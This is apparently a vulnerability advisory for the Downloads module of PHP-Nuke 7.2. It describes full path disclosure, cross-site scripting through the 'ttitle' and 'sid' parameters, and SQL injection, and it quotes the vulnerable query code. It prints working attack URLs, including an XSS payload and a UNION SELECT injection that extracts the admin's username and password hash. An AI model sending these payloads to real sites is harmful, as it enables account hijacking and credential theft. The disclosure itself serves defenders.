Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Php-Nuke is a popular freeware content management system, written in php by

Francisco Burzi. This CMS (Content Management System) is used on many
thousands

websites, because it's freeware, easy to install and has broad set of
features.



Homepage: http://phpnuke.org





Vulnerabilities:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



A. Full path disclosure:



A1 - unsanitaized user submitted variable "show" can triger
standard php error messages,

revealing full path to script - information, needed for potential hacker.



Example: make http request like this:



http://localhost/nuke72/modules.php?name=Downloads&d_op=viewdownload&cid=2&show=foobar



and error message appears:



Warning: Division by zero in
D:\apache_wwwroot\nuke72\modules\Downloads\index.php on line 797





B. Cross-site scripting aka XSS:



XSS can be used for cookie stealing, and because in PhpNuke
authentication-related information

is stored in cookies, account's hijacking and ID spoof can happen.



B1 - XSS through unsanitaized user submitted variable "ttitle":



http://localhost/nuke72/modules.php?name=Downloads&d_op=ratedownload&lid=0&ttitle=[xss
code here]

http://localhost/nuke72/modules.php?name=Downloads&d_op=ratedownload&lid=0&ttitle=<body
onload=document.title=1337>





B2 - XSS through unsanitaized user submitted variable "sid":



http://localhost/nuke72/modules.php?name=Downloads&d_op=viewsdownload&sid=[xss
code here]





C. Sql injection:



C1 - noncritical sql injection through unsanitaized user submitted variable
"orderby":



http://localhost/nuke72/modules.php?name=Downloads&d_op=viewdownload&cid=2&orderby=foobar





C3 - critical sql injection through unsanitaized user submitted variable
"sid":



Let's look at original code from
"nuke72/modules/Downloads/index.php" line 901:





$result=$db->sql_query("

SELECT lid, url, title, description, date, hits, downloadratingsummary,
totalvotes,

totalcomments, filesize, version, homepage

FROM ".$prefix."_downloads_downloads

WHERE sid=$sid

order by $orderby

limit $min,$perpage

");



Oops, "$sid" variable is unquoted in sql query. Scary...

What, if we request something like:



http://localhost/nuke72/modules.php?name=Downloads&d_op=viewsdownload&sid=-1/**/UNION/**/SELECT/**/0,0,aid,pwd,0,0,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*



Cool - admin's username and password's md5 hash in plaintext :)



Have a nice day!
